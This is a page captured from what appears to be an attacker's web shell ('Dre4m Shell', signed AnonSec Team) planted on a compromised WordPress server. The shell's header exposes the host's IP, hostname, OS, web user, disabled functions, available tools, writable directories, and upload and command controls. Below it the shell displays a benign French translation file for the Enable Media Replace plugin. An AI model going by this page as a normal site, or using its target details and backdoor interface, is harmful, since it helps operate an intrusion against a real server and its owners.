Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 3.139.87.251
Web Server : Apache/2.4.61 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/wordpress/wp-content/languages/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/wordpress/wp-content/languages/plugins/enable-media-replace-fr_FR.po
# Translation of Plugins - Enable Media Replace - Stable (latest release) in French (France)
# This file is distributed under the same license as the Plugins - Enable Media Replace - Stable (latest release) package.
msgid ""
msgstr ""
"PO-Revision-Date: 2022-03-03 17:58:29+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n > 1;\n"
"X-Generator: GlotPress/3.0.0-alpha.2\n"
"Language: fr\n"
"Project-Id-Version: Plugins - Enable Media Replace - Stable (latest release)\n"

#: views/upsell.php:135
msgid "Get Pro"
msgstr "Obtenir la version pro"

#: views/upsell.php:124
msgid "Install now"
msgstr "Installer maintenant"

#: views/upload.php:31
msgid "Error in request. Please try again"
msgstr "Une erreur est survenue lors de la requête. Veuillez réessayer."

#: views/popup.php:189
msgid "Replace the date with current date %s(%s)%s"
msgstr "Remplacer la date par la date courante %s(%s)%s"

#: views/popup.php:148
msgid "If you replace the file with a different filetype, this file might become unreadable and / or cause unexpected issues"
msgstr "Si vous remplacez le fichier par un type de fichier différent, ce fichier pourrait devenir illisible et/ou provoquer des problèmes inattendus."

#: views/popup.php:35 views/upload.php:36
msgid "You do not have permission to upload files for this author."
msgstr "Votre compte n’a pas les droits suffisants pour téléverser des fichiers pour cet auteur/autrice."

#: classes/external/upgrader_skin.php:81
msgid "There was an error installing the addon. Please try again."
msgstr "Une erreur est survenue lors de l’installation du module. Veuillez réessayer."

#: classes/emr-plugin.php:208
msgid "Installing ..."
msgstr "Installation..."

#: views/popup.php:205
msgid "Now"
msgstr "Maintenant"

#: views/upsell.php:128
msgid "Envira Gallery activated!"
msgstr "Envira Gallery activé !"

#: views/upsell.php:126
msgid "Activate"
msgstr "Activer"

#: views/upsell.php:115
msgid "Create beautiful, fast-loading photo & video galleries for your site in minutes."
msgstr "Créez rapidement de belles galeries de photos et vidéos qui se chargent rapidement pour votre site."

#: views/upsell.php:94
msgid "Shortpixel Adaptive Images activated!"
msgstr "Shortpixel Adaptive Images activé !"

#: views/upsell.php:80
msgid "In Minutes"
msgstr "Rapidement"

#: views/upsell.php:60
msgid "Shortpixel activated!"
msgstr "Shortpixel activé !"

#: views/upsell.php:57 views/upsell.php:91
msgid "ACTIVATE"
msgstr "ACTIVER"

#: views/upsell.php:53 views/upsell.php:87
msgid "INSTALL NOW"
msgstr "INSTALLER MAINTENANT"

#: views/upsell.php:46
msgid "Optimize all images %s automatically"
msgstr "Optimisez toutes les images %s automatiquement"

#: views/upsell.php:44
msgid "Is your website slow?"
msgstr "Votre site web est lent ?"

#: views/popup.php:162
msgid "Note: If you check this option, the name and type of the file you are about to upload will replace the old file. All links pointing to the current file (%s) will be updated to point to the new file name. (If any other websites link to the file directly, those links will no longer work. Be careful.)"
msgstr "Note : Si vous cochez cette option, le nom et le type du fichier que vous vous apprêtez à téléverser remplacera l’ancien fichier. Tous les liens pointant vers le fichier courant (%s) seront mis à jour pour pointer vers le nouveau nom du fichier. (Si un autre site web fait un lien vers ce fichier, il ne fonctionnera plus. Soyez prudent.)"

#: views/popup.php:217
msgid "Put new Upload in Updated Folder: "
msgstr "Ajouter un téléversement dans le dossier mis à jour :"

#: build/shortpixel/notices/src/NoticeModel.php:218
msgid "Hide Details"
msgstr "Masquer les détails"

#: build/shortpixel/notices/src/NoticeModel.php:214
msgid "See Details"
msgstr "Voir les détails"

#: classes/emr-plugin.php:464
msgid "Replaced By"
msgstr "Remplacé par"

#: views/popup.php:100
msgid "Drop File Here"
msgstr "Déposez le fichier ici"

#: classes/replacer.php:337
msgid "In specificied directory there is already a file with the same name. Can't replace."
msgstr "Dans le répertoire spécifie, il existe déjà un fichier portant le même nom. Remplacement impossible"

#: classes/replacer.php:314
msgid "Specificed new directory does not exist. Path must be a relative path from the upload directory and exist"
msgstr "Le nouveau répertoire spécifié n'existe pas. Le chemin doit exister et être un chemin relatif à partir du répertoire de téléversement"

#: classes/replacer.php:367
msgid "EMR could not establish a proper destination for replacement"
msgstr "EMR n'a pas pu définir une destination appropriée pour le remplacement"

#: views/upsell.php:106
msgid "FIND OUT MORE"
msgstr "En savoir plus"

#: classes/emr-plugin.php:115 classes/emr-plugin.php:363
#: classes/emr-plugin.php:402
msgid "Replace media"
msgstr "Remplacer le média"

#: views/popup.php:64
msgid "Replace Media Upload"
msgstr "Remplacement de média"

#: views/popup.php:141
msgid "Just replace the file"
msgstr "Remplacer le fichier seulement"

#: views/popup.php:159
msgid "Replace the file, use new file name and update all links"
msgstr "Remplacer le fichier, utiliser le nouveau nom de fichier et mettre à jour tous les liens"

#: views/popup.php:227
msgid "Cancel"
msgstr "Annuler"

#: views/upload.php:137
msgid "File type does not meet security guidelines. Try another."
msgstr "Ce type de fichier est incompatible avec les règles de sécurité. Essayez-en un autre."

#. Plugin Name of the plugin
msgid "Enable Media Replace"
msgstr "Enable Media Replace"

#: classes/emr-plugin.php:452
msgid "Revised"
msgstr "Remplacé"

#: classes/emr-plugin.php:303 classes/emr-plugin.php:365
msgid "To replace the current file, click the link and upload a replacement."
msgstr "Pour remplacer le fichier actuel, cliquez sur le lien et choisissez le fichier de remplacement."

#: views/popup.php:23 views/upload.php:11
msgid "You do not have permission to upload files."
msgstr "Vous n’avez pas les droits nécessaires pour téléverser des fichiers."

#: views/popup.php:85
msgid "Choose a file to upload from your computer"
msgstr "Choisissez un fichier de votre ordinateur à téléverser"

#: views/popup.php:164
msgid "Please note that if you upload a new image, only embeds/links of the original size image will be replaced in your posts."
msgstr "Veuillez noter que si vous téléversez une nouvelle image, seuls les liens/intégrations aux dimensions de l’image originale seront remplacés dans vos articles."

#: classes/emr-plugin.php:303 classes/emr-plugin.php:365
msgid "Upload a new file"
msgstr "Téléverser un nouveau fichier"

#: views/popup.php:226
msgid "Upload"
msgstr "Téléverser"

#: views/notice.php:11
msgid "More info"
msgstr "Plus d’informations"

#. Author URI of the plugin
msgid "https://shortpixel.com"
msgstr "https://shortpixel.com"

#. Author of the plugin
msgid "ShortPixel"
msgstr "ShortPixel"

#: views/notice.php:2
msgid "Dismiss"
msgstr "Ignorer"

#. Plugin URI of the plugin
msgid "https://wordpress.org/plugins/enable-media-replace/"
msgstr "https://fr.wordpress.org/plugins/enable-media-replace/"

#: views/popup.php:195
msgid "Custom Date"
msgstr "Date personnalisée"

#: views/popup.php:191
msgid "Set a Custom Date"
msgstr "Définir une date personnalisée"

#: views/popup.php:190
msgid "Keep the date %s(%s)%s"
msgstr "Conserver la date %s(%s)%s"

#: views/popup.php:187
msgid "When replacing the media, do you want to:"
msgstr "Lors du remplacement du document, voulez-vous :"

#: views/popup.php:171
msgid "Date Options"
msgstr "Options de date"

#: views/popup.php:130
msgid "Replacement Options"
msgstr "Options de remplacement"

#: views/popup.php:79
msgid "Choose Replacement Media"
msgstr "Choisissez le média de remplacement"

#: build/shortpixel/log/src/DebugItem.php:35
msgid "[Data]"
msgstr "[Données]"

#: views/upload.php:186
msgid "File successfully replaced"
msgstr "Le fichier a été remplacé avec succès."

#: views/popup.php:145
msgid "Note: This option requires you to upload a file of the same type (%s) as the one you are replacing. The name of the attachment will stay the same (%s) no matter what the file you upload is called."
msgstr "Note: Cet option nécessite que vous téléversiez un fichier ayant le même type (%s) que celui que vous remplacez. Le nom de la pièce jointe restera le même (%s) quelque soit le nom du fichier téléversé."

#: classes/emr-plugin.php:328 views/popup.php:207
msgid "Original"
msgstr "Original"

#: classes/emr-plugin.php:279
msgid "Replace Media"
msgstr "Média de remplacement"

#: views/notice.php:6
msgid "Enable Media Replace is now compatible with ShortPixel!"
msgstr "Enable Media Replace est maintenant compatible avec ShortPixel !"

#: views/popup.php:94
msgid "Replacement file type doesn't seem to be allowed by WordPress. This might cause unexpected issues"
msgstr "Le type du fichier de remplacement ne semble pas être autorisé par WordPress. Ceci pourrait entraîner des problèmes inattendus"

#: views/popup.php:87
msgid "%s f %s exceeds the maximum upload size for this site."
msgstr "%s f %s excède la taille maximale de téléversement de ce site."

#: views/upload.php:82
msgid "Invalid Custom Date. Please custom date values (%s)"
msgstr "Date personnalisée invalide. Veuillez personnaliser les dates (%s)"

#: classes/emr-plugin.php:283
msgid "Replaced Thumbnails Preview"
msgstr "Aperçu des vignettes remplacées"

#: views/popup.php:90
msgid "Replacement file is not the same filetype. This might cause unexpected issues ( %s )"
msgstr "Le fichier de remplacement n'est pas du même type. Ceci pourrait causer des problèmes inattendus (%s)"

#: views/popup.php:86
msgid "Maximum file size: <strong>%s</strong>"
msgstr "Taille maximum de fichier : <strong>%s</strong>"

#: views/upload.php:181
msgid "File Upload seems to have failed. No files were returned by system"
msgstr "Le téléversement de fichier semble avoir échoué. Aucun fichier n'a été retourné par le système"

#: views/popup.php:81
msgid "NOTE: You are about to replace the media file \"%s\". There is no undo. Think about it!"
msgstr "Note : Vous vous apprêtez à remplacer le fichier « %s ». Il n’est pas possible d’annuler cette action. Pensez-y !"

#: classes/emr-plugin.php:449
msgid "M j, Y @ H:i"
msgstr "M j, Y @ H:i"

#: classes/emr-plugin.php:316
msgid "Thumbnails were not generated"
msgstr "Les miniatures n'ont pas été générées"

#: classes/replacer.php:557
msgid "There was an issue with updating your image URLS: Search and replace have different amount of values. Aborting updating thumbnails"
msgstr "Il y a eu un problème dans la mise à jour des URL de vos images : la recherche et le remplacement ont des valeurs différentes. Interruption de la mise à jour des miniatures"

#: classes/replacer.php:131
msgid "The uploaded file could not be moved to %1$s. This is most likely an issue with permissions, or upload failed."
msgstr "Le fichier téléversé n'a pas pu être déplacé vers %1$s. Ceci est très probablement un problème de permissions, ou bien le téléversement a échoué."

#: classes/replacer.php:480
msgid "Fail Safe :: Source Location returned empty string. Not replacing content"
msgstr "Arrêt sécurisé : l’emplacement de la source a retourné une chaîne vide. Contenu non remplacé."

#: classes/replacer.php:473
msgid "Fail Safe :: Source Location seems to be a directory."
msgstr "Arrêt sécurisé : L’emplacement de la source semble être un répertoire."

#. Description of the plugin
msgid "Enable replacing media files by uploading a new file in the \"Edit Media\" section of the WordPress Media Library."
msgstr "Permet de remplacer un fichier média par un nouveau fichier depuis la section «&nbsp;Modifier le média&nbsp;» de la bibliothèque de médias WordPress."

Anon7 - 2022
AnonSec Team